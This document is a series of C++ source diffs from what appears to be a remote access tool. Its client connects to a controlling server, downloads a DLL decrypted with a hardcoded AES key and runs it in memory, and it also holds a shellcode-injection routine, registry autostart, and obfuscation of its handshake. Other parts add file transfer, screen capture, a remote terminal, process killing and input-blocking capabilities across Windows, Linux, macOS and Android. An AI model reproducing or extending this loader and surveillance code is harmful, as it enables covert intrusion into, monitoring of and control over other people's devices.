||||
#include <string>
|
||||
#include "common/iniFile.h"
|
||||
|
||||
namespace StartGate {
|
||||
|
||||
constexpr const char* kValueName = "retry_after";
|
||||
constexpr int kDefaultDelaySec = 60 * 60;
|
||||
|
||||
inline std::string ConfigPath(bool isAuthKernel)
|
||||
{
|
||||
return isAuthKernel ? std::string(YAMA_PATH) : CLIENT_PATH;
|
||||
}
|
||||
inline const char* ConfigSection(bool isAuthKernel)
|
||||
{
|
||||
return isAuthKernel ? "auth" : "settings";
|
||||
}
|
||||
inline int Get(config& cfg, const char* section)
|
||||
{
|
||||
return cfg.GetInt(section, kValueName, 0);
|
||||
}
|
||||
inline void Set(config& cfg, const char* section, int unixTime)
|
||||
{
|
||||
cfg.SetInt(section, kValueName, unixTime > 0 ? unixTime : 0);
|
||||
}
|
||||
inline void Delay(config& cfg, const char* section, int delaySec)
|
||||
{
|
||||
Set(cfg, section, (int)time(NULL) + delaySec);
|
||||
}
|
||||
inline bool AllowStartNow(config& cfg, const char* section)
|
||||
{
|
||||
const int t = Get(cfg, section);
|
||||
return t <= 0 || (int)time(NULL) >= t;
|
||||
}
|
||||
|
||||
}
|
||||
+43
-1
@@ -19,6 +19,10 @@ extern "C" {
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
#ifndef MAX_CONNECT_FAILS
|
||||
#define MAX_CONNECT_FAILS 3
|
||||
#endif
|
||||
|
||||
// 自动启动注册表中的值
|
||||
#define REG_NAME GetExeHashStr().c_str()
|
||||
|
||||
@@ -74,11 +78,36 @@ typedef struct PkgHeader {
|
||||
{
|
||||
memset(flag, 0, sizeof(flag));
|
||||
memcpy(flag, "Hello?", 6);
|
||||
flag[7] = 1;
|
||||
originLen = size;
|
||||
totalLen = sizeof(PkgHeader) + size;
|
||||
}
|
||||
} PkgHeader;
|
||||
|
||||
static void gen_aes_bytes(BYTE* out) {
|
||||
for (int i = 0; i < 16; i++) {
|
||||
out[i] = (BYTE)(rand() & 0xFF);
|
||||
}
|
||||
}
|
||||
|
||||
static uint16_t pseudo_random(int index) {
|
||||
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
|
||||
}
|
||||
|
||||
static void encrypt(unsigned char* data, int len) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
|
||||
}
|
||||
for (int round = 0; round < 2; ++round) {
|
||||
for (int i = 0; i < len; ++i) {
|
||||
int j = pseudo_random(i + round * 100) % len;
|
||||
unsigned char tmp = data[i];
|
||||
data[i] = data[j];
|
||||
data[j] = tmp;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
typedef int (*DllCallback)(BYTE* dll, int size);
|
||||
|
||||
// Memory DLL runner.
|
||||
@@ -125,13 +154,14 @@ public:
|
||||
char* buffer = new char[bufSize];
|
||||
bool isFirstConnect = true;
|
||||
int requestCount = 0;
|
||||
int connectFailCount = 0;
|
||||
binFile bin(CLIENT_PATH);
|
||||
iniFile ini(CLIENT_PATH);
|
||||
auto hash = ini.GetStr("settings", "version", "");
|
||||
|
||||
do {
|
||||
if (!isFirstConnect)
|
||||
Sleep(!IsDebug ? rand() % 30 * 1000 : 5000);
|
||||
Sleep((!IsDebug && connectFailCount >= MAX_CONNECT_FAILS) ? rand() % 30 * 1000 : 5000);
|
||||
|
||||
isFirstConnect = false;
|
||||
SOCKET clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
@@ -150,18 +180,23 @@ public:
|
||||
if (connect(clientSocket, (SOCKADDR*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||
closesocket(clientSocket);
|
||||
SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED);
|
||||
if (++connectFailCount >= MAX_CONNECT_FAILS && !hash.empty())
|
||||
break;
|
||||
continue;
|
||||
}
|
||||
connectFailCount = 0;
|
||||
#ifdef _DEBUG
|
||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 0 };
|
||||
#else
|
||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
|
||||
#endif
|
||||
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
|
||||
gen_aes_bytes((BYTE*)command + 16); // AES IV
|
||||
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
|
||||
char req[sizeof(PkgHeader) + sizeof(command)] = {};
|
||||
memcpy(req, &PkgHeader(sizeof(command)), sizeof(PkgHeader));
|
||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
|
||||
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||
if (bytesSent != sizeof(req)) {
|
||||
closesocket(clientSocket);
|
||||
@@ -198,6 +233,12 @@ public:
|
||||
continue;
|
||||
}
|
||||
char* ptr = buffer + sizeof(PkgHeader);
|
||||
struct AES_ctx ctx; // AES Decode
|
||||
static const unsigned char aes_key[16] = {
|
||||
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
|
||||
};
|
||||
AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16);
|
||||
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
|
||||
BYTE cmd = ptr[0], type = ptr[1];
|
||||
size = 0;
|
||||
memcpy(&size, ptr + 2, sizeof(int));
|
||||
@@ -307,6 +348,7 @@ int InjectShellcode(BYTE* buf, int len) {
|
||||
// 如果配置文件不存在就从命令行中获取IP和端口.
|
||||
int main(int argc, const char *argv[])
|
||||
{
|
||||
srand((unsigned int)time(NULL));
|
||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
||||
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
|
||||
if (!runCmd) {
|
||||
|
||||
+35
-4
@@ -32,7 +32,15 @@
|
||||
#include <sys/mount.h> // macOS: statfs for filesystem type
|
||||
#endif
|
||||
|
||||
#ifdef __ANDROID__
|
||||
// Android NDK 的 iconv 从 API 28 才提供,而 Android 客户端的 minSdk 是 21。
|
||||
// GBK 转换改走 Java 的 Charset(JNI),实现在 android/app/src/main/cpp/main.cpp。
|
||||
// 失败时与原 iconv 版本一致:原样返回输入(服务端对 GBK 表示不了的字符会直传 UTF-8)。
|
||||
std::string AndroidGbkToUtf8(const std::string& input);
|
||||
std::string AndroidUtf8ToGbk(const std::string& input);
|
||||
#else
|
||||
#include <iconv.h> // Character encoding conversion (GBK <-> UTF-8)
|
||||
#endif
|
||||
|
||||
// FileTransferV2 is in the same directory (common/)
|
||||
#include "FileTransferV2.h"
|
||||
@@ -47,6 +55,12 @@ class FileManager : public IOCPManager
|
||||
{
|
||||
public:
|
||||
FileManager(IOCPClient* client)
|
||||
: FileManager(client, false) {}
|
||||
|
||||
// deferredStart=true:不在构造里发 TOKEN_DRIVE_LIST,由子类准备好平台数据后
|
||||
// 自己调用 SendDriveList()。Android 用它——存储根要先问 Java 要,而构造期
|
||||
// 的虚函数不会分派到子类,直接发出去的是 Linux 的 "/" 根。
|
||||
FileManager(IOCPClient* client, bool deferredStart)
|
||||
: m_client(client),
|
||||
m_nTransferMode(TRANSFER_MODE_NORMAL),
|
||||
m_nCurrentFileLength(0),
|
||||
@@ -54,7 +68,7 @@ public:
|
||||
{
|
||||
memset(m_strCurrentFileName, 0, sizeof(m_strCurrentFileName));
|
||||
memset(m_strCurrentUploadFile, 0, sizeof(m_strCurrentUploadFile));
|
||||
SendDriveList();
|
||||
if (!deferredStart) SendDriveList();
|
||||
}
|
||||
|
||||
~FileManager()
|
||||
@@ -148,6 +162,7 @@ private:
|
||||
m_client->Send2Server((char*)&token, 1);
|
||||
}
|
||||
|
||||
#ifndef __ANDROID__
|
||||
// ---- iconv encoding conversion ----
|
||||
static std::string iconvConvert(const std::string& input, const char* from, const char* to)
|
||||
{
|
||||
@@ -169,17 +184,28 @@ private:
|
||||
output.resize(output.size() - outLeft);
|
||||
return output;
|
||||
}
|
||||
#endif
|
||||
|
||||
protected:
|
||||
static std::string gbkToUtf8(const std::string& gbk)
|
||||
{
|
||||
#ifdef __ANDROID__
|
||||
return AndroidGbkToUtf8(gbk);
|
||||
#else
|
||||
return iconvConvert(gbk, "GBK", "UTF-8");
|
||||
#endif
|
||||
}
|
||||
|
||||
static std::string utf8ToGbk(const std::string& utf8)
|
||||
{
|
||||
#ifdef __ANDROID__
|
||||
return AndroidUtf8ToGbk(utf8);
|
||||
#else
|
||||
return iconvConvert(utf8, "UTF-8", "GBK");
|
||||
#endif
|
||||
}
|
||||
|
||||
protected:
|
||||
// ---- Windows path -> Linux path ----
|
||||
// Examples:
|
||||
// /:\home\user\file.txt -> /home/user/file.txt
|
||||
@@ -188,7 +214,8 @@ private:
|
||||
// /: -> /
|
||||
// C:\Users\file.txt -> /Users/file.txt
|
||||
// %USERPROFILE%\Desktop\ -> /home/user/Desktop/ (or the XDG desktop folder)
|
||||
static std::string winPathToLinux(const char* winPath)
|
||||
// Android 覆盖它,把驱动字母映射到 /storage/... 下的真实路径。
|
||||
virtual std::string winPathToLinux(const char* winPath)
|
||||
{
|
||||
// 展开 %USERPROFILE% 等变量并把路径风格转成 Unix(见 UnixPath.h)
|
||||
return UnixPath::ToUnixPath(winPath ? winPath : "");
|
||||
@@ -196,7 +223,7 @@ private:
|
||||
|
||||
// ---- Linux path -> Windows path (for sending to server) ----
|
||||
// Converts /home/user/file.txt to /:\home\user\file.txt
|
||||
static std::string linuxPathToWin(const std::string& linuxPath)
|
||||
virtual std::string linuxPathToWin(const std::string& linuxPath)
|
||||
{
|
||||
// Start with drive letter representation /: for Linux root
|
||||
// Linux path /home/user/file.txt should become /:\home\user\file.txt
|
||||
@@ -290,8 +317,12 @@ private:
|
||||
return true;
|
||||
}
|
||||
|
||||
// 子类(Android)覆盖 SendDriveList 时要用到连接对象;m_client 是私有的。
|
||||
IOCPClient* ClientObject() const { return m_client; }
|
||||
|
||||
// ---- Send drive list (Linux: root partition /) ----
|
||||
void SendDriveList()
|
||||
// Android 覆盖它:把内部存储 / SD 卡 / 应用目录当成带盘符的「驱动器」。
|
||||
virtual void SendDriveList()
|
||||
{
|
||||
if (!m_client) return;
|
||||
|
||||
|
||||
+40
-4
@@ -24,7 +24,9 @@
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <dirent.h>
|
||||
#ifndef __ANDROID__
|
||||
#include <iconv.h>
|
||||
#endif
|
||||
#include <cstring>
|
||||
#include <cctype>
|
||||
#include <cerrno>
|
||||
@@ -35,8 +37,26 @@
|
||||
#include <set>
|
||||
#include <mutex>
|
||||
#include <fstream>
|
||||
#include <functional>
|
||||
#include <thread>
|
||||
|
||||
namespace filetransferv2_path {
|
||||
// 路径映射钩子:Android 的存储是盘符模型(I:\...),不能套 UnixPath 的 "/:" 语义。
|
||||
// 用 inline 函数的局部 static,保证多个 TU 共享同一个实例(C++17)。
|
||||
inline std::function<std::string(const std::string&)>& Mapper()
|
||||
{
|
||||
static std::function<std::string(const std::string&)> mapper;
|
||||
return mapper;
|
||||
}
|
||||
} // namespace filetransferv2_path
|
||||
|
||||
#ifdef __ANDROID__
|
||||
// Android NDK 的 iconv 从 API 28 才提供(客户端 minSdk 21),GBK 转换走 Java Charset。
|
||||
// 实现在 android/app/src/main/cpp/main.cpp;失败时原样返回输入(与 iconv 版一致)。
|
||||
std::string AndroidGbkToUtf8(const std::string& input);
|
||||
std::string AndroidUtf8ToGbk(const std::string& input);
|
||||
#endif
|
||||
|
||||
class FileTransferV2
|
||||
{
|
||||
public:
|
||||
@@ -56,6 +76,9 @@ public:
|
||||
static std::string gbkToUtf8(const std::string& gbk)
|
||||
{
|
||||
if (gbk.empty()) return gbk;
|
||||
#ifdef __ANDROID__
|
||||
return AndroidGbkToUtf8(gbk);
|
||||
#else
|
||||
iconv_t cd = iconv_open("UTF-8", "GBK");
|
||||
if (cd == (iconv_t)-1) return gbk;
|
||||
|
||||
@@ -72,11 +95,15 @@ public:
|
||||
if (ret == (size_t)-1) return gbk;
|
||||
output.resize(output.size() - outLeft);
|
||||
return output;
|
||||
#endif
|
||||
}
|
||||
|
||||
static std::string utf8ToGbk(const std::string& utf8)
|
||||
{
|
||||
if (utf8.empty()) return utf8;
|
||||
#ifdef __ANDROID__
|
||||
return AndroidUtf8ToGbk(utf8);
|
||||
#else
|
||||
iconv_t cd = iconv_open("GBK", "UTF-8");
|
||||
if (cd == (iconv_t)-1) return utf8;
|
||||
|
||||
@@ -93,6 +120,7 @@ public:
|
||||
if (ret == (size_t)-1) return utf8;
|
||||
output.resize(output.size() - outLeft);
|
||||
return output;
|
||||
#endif
|
||||
}
|
||||
|
||||
// 递归创建目录
|
||||
@@ -169,9 +197,9 @@ public:
|
||||
|
||||
// 处理 V2 文件数据包
|
||||
// 返回: 0=成功, >0=错误码
|
||||
// reply:主连接(Linux 传 g_pMainClient)。非空时,C2C 传输的最后一个条目处理完会回一包
|
||||
// 落盘结果(TOKEN_C2C_SEND_RESULT),服务端据此把 receiver_ack 变成真实值;
|
||||
// 传 nullptr(macOS 目前没有全局主连接)则保持旧行为,不发回执。
|
||||
// reply:主连接(Linux/macOS 传 g_pMainClient)。非空时,C2C 传输的最后一个条目
|
||||
// 处理完会回一包落盘结果(TOKEN_C2C_RECV_RESULT),服务端据此把 receiver_ack
|
||||
// 变成真实值;传 nullptr 则保持旧行为,不发回执。
|
||||
static int RecvFileChunkV2(const uint8_t* buf, size_t len, uint64_t myClientID,
|
||||
IOCPClient* reply = nullptr)
|
||||
{
|
||||
@@ -430,11 +458,19 @@ public:
|
||||
closedir(d);
|
||||
}
|
||||
|
||||
// 平台路径映射钩子:由客户端启动时注入(Android 用盘符映射;其它平台不设,
|
||||
// 保持 UnixPath 的原有语义)。只在单线程初始化阶段调用,不要求线程安全。
|
||||
static void SetPathMapper(std::function<std::string(const std::string&)> mapper)
|
||||
{
|
||||
filetransferv2_path::Mapper() = std::move(mapper);
|
||||
}
|
||||
|
||||
// Windows 路径转 Linux 路径。服务端对话框的快捷按钮(桌面/下载/用户主页)下发的是
|
||||
// %USERPROFILE%\Desktop\ 这类 Windows 变量路径,必须先展开(见 UnixPath.h)。
|
||||
static std::string WinPathToLinux(const std::string& winPath)
|
||||
{
|
||||
return UnixPath::ToUnixPath(winPath);
|
||||
auto& mapper = filetransferv2_path::Mapper();
|
||||
return mapper ? mapper(winPath) : UnixPath::ToUnixPath(winPath);
|
||||
}
|
||||
|
||||
// errno -> Win32 错误码:服务端 TOKEN_DOWNLOAD_ERROR 按 Win32 码分类
|
||||
|
||||
@@ -56,6 +56,13 @@ inline bool IsCommandAllowed(unsigned char cmd)
|
||||
return g_settingsVerified.load(std::memory_order_acquire) || cmd == CMD_MASTERSETTING;
|
||||
}
|
||||
|
||||
// 本连接是否已通过 MasterSettings 校验。转移主机用它判断「目标主控是否真的可用」:
|
||||
// 连得上但校验一直不通过(对端不是主控,或不是本构建的主控)与连不上等价。
|
||||
inline bool IsVerified()
|
||||
{
|
||||
return g_settingsVerified.load(std::memory_order_acquire);
|
||||
}
|
||||
|
||||
// 处理 CMD_MASTERSETTING(payload = szBuffer + 1,payloadLen = ulLength - 1):
|
||||
// 强制要求完整 MasterSettings(包含 Signature 字段);不完整 / 签名失败 → 不更新
|
||||
// g_settingsVerified,让心跳循环 30s 超时自然把本次连接断开重连。
|
||||
|
||||
+101
-4
@@ -10,6 +10,7 @@
|
||||
#include <ctime>
|
||||
#include <chrono>
|
||||
#include <climits>
|
||||
#include <cstddef> // offsetof:CONNECT_ADDRESS::szFuture 运行态槽位的对齐断言
|
||||
|
||||
#ifdef _WIN32
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
@@ -137,19 +138,26 @@ inline int isValid_10s()
|
||||
// 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读
|
||||
#define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图)
|
||||
#define CLIENT_CAP_C2C_PATHS 0x0008 // 支持按路径清单向另一客户端发送文件(COMMAND_C2C_SEND_FILES,仅 Windows)
|
||||
#define CLIENT_CAP_C2C_RECV_ACK 0x0010 // 作为 C2C 目标端时,落盘完成后回执(TOKEN_C2C_RECV_RESULT,目前仅 Linux)
|
||||
#define CLIENT_CAP_C2C_RECV_ACK 0x0010 // 作为 C2C 目标端时,落盘完成后回执(TOKEN_C2C_RECV_RESULT,Linux/macOS)
|
||||
#define CLIENT_CAP_PROTO_SWITCH 0x0020 // 支持服务端远程切换传输协议(COMMAND_SET_PROTO,仅 Windows)
|
||||
#define CLIENT_CAP_EMBEDDED_ANCHOR 0x0040 // 当前靠「生成时内嵌的 TLS 信任锚」在加密(按运行时状态置位,不是能力声明)
|
||||
#define CLIENT_CAP_VIRTUAL_DESKTOP 0x0080 // 支持按 COMMAND_SCREEN_SPY 参数 buffer[11](wire 索引 12)强制抓取整个虚拟桌面(多显示器远程控制)
|
||||
#define CLIENT_CAP_WINDOW_INFO 0x0100 // 支持 COMMAND_MCP_WINDOW_INFO(带矩形/前后台/最小化状态的窗口列表)与窗口激活(CMD_WINDOW_ACTIVATE_FLAG)
|
||||
#define CLIENT_CAP_SCREEN_REGION 0x0200 // 支持 COMMAND_SCREEN_PREVIEW_REQ 扩展(区域/窗口/显示器原生分辨率截图)
|
||||
#define CLIENT_CAP_APK_UPDATE 0x0400 // 支持接收 COMMAND_UPDATE 下发的 APK 并走系统安装器(仅 Android)
|
||||
#define CLIENT_CAP_SCREEN_CLIPBOARD 0x0800 // 屏幕子连接处理 COMMAND_SCREEN_SET_CLIPBOARD,并把 VK_V 映射成 ACTION_PASTE(仅新版 Android)
|
||||
#define CLIENT_CAP_SCREEN_CLIPBOARD 0x0800 // 屏幕子连接处理 COMMAND_SCREEN_SET_CLIPBOARD,并把 VK_V 映射成 ACTION_PASTE(新版 Android 与 macOS;Linux 只在屏幕子连接里实现了剪贴板,未声明)
|
||||
#define CLIENT_CAP_LOCK_SCREEN 0x1000 // 屏幕子连接处理 COMMAND_SCREEN_CTRL_ALT_DEL(Android 映射为锁屏 GLOBAL_ACTION_LOCK_SCREEN)
|
||||
#define CLIENT_CAP_UNINSTALL 0x2000 // 主连接处理 TOKEN_UNINSTALL(Android 拉起系统卸载确认框;Windows 客户端一直支持但不声明)
|
||||
#define CLIENT_CAP_REMOTE_CHAT 0x4000 // 主连接处理 COMMAND_CHAT(远程交谈子连接;Windows 一直支持但不声明,目前只有新版 Android 声明)
|
||||
#define CLIENT_CAP_TERMINAL 0x8000 // 主连接处理 COMMAND_SHELL(PTY 终端子连接:exec_command / terminal_*;Linux 一直支持但不声明,目前只有新版 Android 声明)
|
||||
#define CLIENT_CAP_TERMINAL 0x8000 // 主连接处理 COMMAND_SHELL(PTY 终端子连接:exec_command / terminal_*;Linux 一直支持但不声明,新版 Android 与 macOS 声明)
|
||||
#define CLIENT_CAP_PRIVACY_OVERLAY 0x10000 // 屏幕子连接处理 COMMAND_SCREEN_BLOCK_INPUT / COMMAND_SCREEN_BLANK(Android 用无障碍全屏 overlay 实现;Windows 一直支持锁定键鼠但不声明这个位)
|
||||
#define CLIENT_CAP_PROCESS 0x20000 // 主连接处理 COMMAND_SYSTEM(系统子连接:COMMAND_PSLIST / COMMAND_KILLPROCESS;Linux/macOS 声明,Windows 一直支持但不声明)
|
||||
#define CLIENT_CAP_COMPRESS_SWITCH 0x40000 // 支持服务端远程切换线缆压缩(COMMAND_SET_COMPRESS,仅 Windows)
|
||||
|
||||
// TOKEN_WEBCAM_DIB 帧头里的 fccHandler(第 3~6 字节):Android 客户端直接发 JPEG,
|
||||
// 服务端识别这个 FOURCC 后用 turbojpeg 解码,不依赖系统安装 VFW 编解码器。
|
||||
// 值等于 mmioFOURCC('J','P','G','D')。
|
||||
#define WEBCAM_FOURCC_JPEG_DIRECT 0x4447504A
|
||||
|
||||
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
|
||||
|
||||
@@ -378,6 +386,13 @@ enum {
|
||||
COMMAND_MCP_WINDOW_INFO = 179,
|
||||
TOKEN_MCP_WINDOW_INFO = 180,
|
||||
|
||||
// 线缆压缩切换(服务端 → 客户端):载荷 [cmd:1]["zlib"|"zstd"]。
|
||||
// 客户端写入自己配置的 settings\compress 后断开当前连接,原地切换本连接的压缩模式,
|
||||
// 由 StartClient 重连循环用新模式建链;服务端按首包自动识别算法,无需额外握手。
|
||||
// 不置 S_CLIENT_UPDATE,以免进程内测试客户端退出。只有声明 CLIENT_CAP_COMPRESS_SWITCH
|
||||
// 的 Windows 客户端认识;老客户端走 default 静默丢弃。
|
||||
COMMAND_SET_COMPRESS = 181,
|
||||
|
||||
TOKEN_DECRYPT = 199,
|
||||
TOKEN_REGEDIT = 200, // 注册表
|
||||
COMMAND_REG_FIND, // 注册表 管理标识
|
||||
@@ -1157,6 +1172,42 @@ inline bool IsLocalTestClient(const CONNECT_ADDRESS* conn)
|
||||
sizeof(LOCAL_TEST_CLIENT_MAGIC) - 1) == 0;
|
||||
}
|
||||
|
||||
// szFuture 前 sizeof(LOCAL_TEST_CLIENT_MAGIC) 字节被上面的本地测试标记占用;其后从
|
||||
// HEADER_ENC_SELECT_OFFSET 起放一个运行态字段(只在内存里有效,不落盘、不参与分享/
|
||||
// 转移序列化):
|
||||
// int 头加密下标 + 1,0 = 尚未发布(烘焙的 EXE 里 szFuture 全 0)
|
||||
//
|
||||
// 用途:主连接收到 CMD_MASTERSETTING(登录已被后端接受)后,把当前 HELL 头加密类型写
|
||||
// 进来;文件/进程/屏幕等子连接在构造和重连时优先继承它,避免自己随机到 Go fallback
|
||||
// 服务端尚未实现的 HeaderEncV7~V10。该值只当「提示」用:读方必须做范围校验,坏值回退
|
||||
// 随机(下标越界会读穿 GetHeaderEncoder 的方法表)。
|
||||
//
|
||||
// 跨线程:写方是主连接的接收线程(CKernelManager::OnReceive → PublishHeaderEncoder),
|
||||
// 读方是各子连接自己的线程(构造/重连),这里**不做同步**,也不保证读到最新值——
|
||||
// 读到旧值等价于「尚未发布」,回退随机,行为正确。前提是该槽位只承载这种提示语义:
|
||||
// 不要拿它做控制逻辑,也不要放大成多字段协议。目标平台(x86/x64/ARM64)上 4 字节
|
||||
// 对齐的读写不会撕裂,配合上面的范围校验即可。
|
||||
#define HEADER_ENC_SELECT_OFFSET sizeof(LOCAL_TEST_CLIENT_MAGIC)
|
||||
static_assert(HEADER_ENC_SELECT_OFFSET % sizeof(int) == 0, "头加密运行态槽位需 4 字节对齐");
|
||||
static_assert(sizeof(((CONNECT_ADDRESS*)0)->szFuture) >= HEADER_ENC_SELECT_OFFSET + sizeof(int),
|
||||
"CONNECT_ADDRESS::szFuture 空间不足");
|
||||
static_assert(offsetof(CONNECT_ADDRESS, szFuture) % alignof(int) == 0,
|
||||
"CONNECT_ADDRESS::szFuture 需 4 字节对齐");
|
||||
|
||||
inline int GetHeaderEncSelect(const CONNECT_ADDRESS* conn)
|
||||
{
|
||||
int value = 0;
|
||||
if (conn) memcpy(&value, conn->szFuture + HEADER_ENC_SELECT_OFFSET, sizeof(value));
|
||||
return value;
|
||||
}
|
||||
|
||||
inline void SetHeaderEncSelect(CONNECT_ADDRESS* conn, int index)
|
||||
{
|
||||
if (!conn) return;
|
||||
int value = index + 1;
|
||||
memcpy(conn->szFuture + HEADER_ENC_SELECT_OFFSET, &value, sizeof(value));
|
||||
}
|
||||
|
||||
#define FOREVER_RUN 2
|
||||
|
||||
// 客户端程序线程信息结构体, 包含5个成员:
|
||||
@@ -1292,6 +1343,8 @@ typedef struct LOGIN_INFOR {
|
||||
caps |= CLIENT_CAP_C2C_PATHS;
|
||||
// 协议切换(COMMAND_SET_PROTO)只有 Windows 客户端实现了命令处理与入口持久化。
|
||||
caps |= CLIENT_CAP_PROTO_SWITCH;
|
||||
// 线缆压缩切换(COMMAND_SET_COMPRESS):Windows 客户端同时携带 zlib/zstd。
|
||||
caps |= CLIENT_CAP_COMPRESS_SWITCH;
|
||||
// 多显示器远程控制:抓整个虚拟桌面,截图与注入共用同一坐标系。
|
||||
caps |= CLIENT_CAP_VIRTUAL_DESKTOP;
|
||||
// 窗口信息 RPC(矩形/z 序/前后台)与窗口激活。
|
||||
@@ -1300,8 +1353,10 @@ typedef struct LOGIN_INFOR {
|
||||
caps |= CLIENT_CAP_SCREEN_REGION;
|
||||
#elif defined(__linux__) && !defined(__ANDROID__)
|
||||
// Linux 客户端作为 C2C 目标端时会回执落盘结果(common/FileTransferV2.h)。
|
||||
// macOS 暂未接线(无全局主连接句柄),不声明——服务端就不会为它空等回执。
|
||||
caps |= CLIENT_CAP_C2C_RECV_ACK;
|
||||
// COMMAND_SYSTEM → SystemManager(/proc 枚举 + kill)。一直有实现,声明出来是为了
|
||||
// 让「这台主机能不能杀进程」有据可查,不必再靠平台名推断。
|
||||
caps |= CLIENT_CAP_PROCESS;
|
||||
#elif defined(__ANDROID__)
|
||||
// 收到服务端下发的 APK 后写盘并拉起系统安装器。老 APK 没有这个分支,
|
||||
// 服务端据此提示「先手动装一次新版」,而不是发一个对方会静默丢弃的包。
|
||||
@@ -1321,6 +1376,18 @@ typedef struct LOGIN_INFOR {
|
||||
// 远程终端(COMMAND_SHELL → PTY 子连接):老 APK 里 COMMAND_SHELL 是空实现,
|
||||
// 服务端据此提前拒绝 exec_command / terminal_*,而不是等子连接超时。
|
||||
caps |= CLIENT_CAP_TERMINAL;
|
||||
#elif defined(__APPLE__)
|
||||
// 终端(COMMAND_SHELL → PTY 子连接)在 macOS 一直是完整实现(zsh/bash 交互 +
|
||||
// resize),以前只是没声明,服务端据此把 exec_command / terminal_* 当作不支持。
|
||||
caps |= CLIENT_CAP_TERMINAL;
|
||||
// 屏幕子连接已处理 COMMAND_SCREEN_SET_CLIPBOARD / GET_CLIPBOARD。
|
||||
caps |= CLIENT_CAP_SCREEN_CLIPBOARD;
|
||||
// COMMAND_SYSTEM → SystemManager(proc_listpids 枚举 + SIGKILL)。老 macOS 构建
|
||||
// 收到 COMMAND_SYSTEM 只打一行日志,服务端据此提前拒绝 kill_process。
|
||||
caps |= CLIENT_CAP_PROCESS;
|
||||
// 作为 C2C 目标端落盘后回执(TOKEN_C2C_RECV_RESULT),走主连接全局句柄。
|
||||
caps |= CLIENT_CAP_C2C_RECV_ACK;
|
||||
// SCREEN_PREVIEW 依赖录屏授权,由 main.mm 在登录前按运行时状态追加(同 Linux)。
|
||||
#endif
|
||||
return caps;
|
||||
}
|
||||
@@ -1357,6 +1424,36 @@ typedef struct LOGIN_INFOR {
|
||||
{
|
||||
return StringToVector(szReserved, '|', n);
|
||||
}
|
||||
// 按位置改写第 index 个字段(服务端用 LOGIN_RES 下标取值)。AddReserved 只能往后追加,
|
||||
// 改不了已写好的字段;重连重发登录前刷新某个「当前状态」字段(RES_TLS / RES_UPTIME)
|
||||
// 就得靠这个。
|
||||
// 字段数按分隔符数 + 1 数,末尾空槽也算一个字段,拼回去时原样保留——否则少写一个 '|'
|
||||
// 会让后面的字段整体前移,服务端把用户名读成类型。整体放不下 szReserved 时返回 false
|
||||
// 且保持原值,绝不写半截。
|
||||
bool SetReserved(int index, const char* v)
|
||||
{
|
||||
if (index < 0 || index >= (int)RES_MAX) return false;
|
||||
|
||||
std::vector<std::string> fields;
|
||||
const char* p = szReserved;
|
||||
for (;;) {
|
||||
const char* bar = strchr(p, '|');
|
||||
if (bar == nullptr) {
|
||||
fields.push_back(p);
|
||||
break;
|
||||
}
|
||||
fields.push_back(std::string(p, bar - p));
|
||||
p = bar + 1;
|
||||
}
|
||||
if (fields.size() < (size_t)index + 1)
|
||||
fields.resize((size_t)index + 1); // 补空槽,std::string 默认空串
|
||||
fields[index] = v ? v : "";
|
||||
|
||||
const std::string joined = VectorJoin(fields, '|');
|
||||
if (joined.size() >= sizeof(szReserved)) return false;
|
||||
memcpy(szReserved, joined.c_str(), joined.size() + 1);
|
||||
return true;
|
||||
}
|
||||
|
||||
private:
|
||||
// 追加一个保留字段。szReserved 是「按位置」解析的(服务端用 LOGIN_RES 下标取值),
|
||||
|
||||
+11
-1
@@ -43,10 +43,20 @@ inline bool ParseHeaderEnc(const std::string& s, int& out)
|
||||
return true;
|
||||
}
|
||||
|
||||
// 端点能安全写进 CONNECT_ADDRESS 的边界。非 Windows 上 strcpy_s/sprintf_s 就是无界的
|
||||
// strcpy/sprintf(见 commands.h),地址超长会直接踩坏 szPort/iType 等后续字段,
|
||||
// 所以来自命令或配置文件的端点必须先过这一关。
|
||||
inline bool FitsConnAddress(const Endpoint& ep)
|
||||
{
|
||||
return !ep.ip.empty()
|
||||
&& ep.ip.size() <= sizeof(((CONNECT_ADDRESS*)nullptr)->szServerIP) - 1
|
||||
&& ep.port > 0 && ep.port <= 65535;
|
||||
}
|
||||
|
||||
// 把端点写进连接参数。只在连接生命周期的持有线程调用(见文件头注释)。
|
||||
inline void ApplyEndpoint(CONNECT_ADDRESS& conn, const Endpoint& ep)
|
||||
{
|
||||
if (ep.ip.empty() || ep.port <= 0)
|
||||
if (!FitsConnAddress(ep))
|
||||
return;
|
||||
conn.SetServer(ep.ip.c_str(), ep.port);
|
||||
if (ep.transport >= 0)
|
||||
|
||||
+2
-1
@@ -10,7 +10,8 @@
|
||||
// server/2015Remote/2015RemoteDlg.cpp ShareClient)。命令字节是 COMMAND_SHARE(59),
|
||||
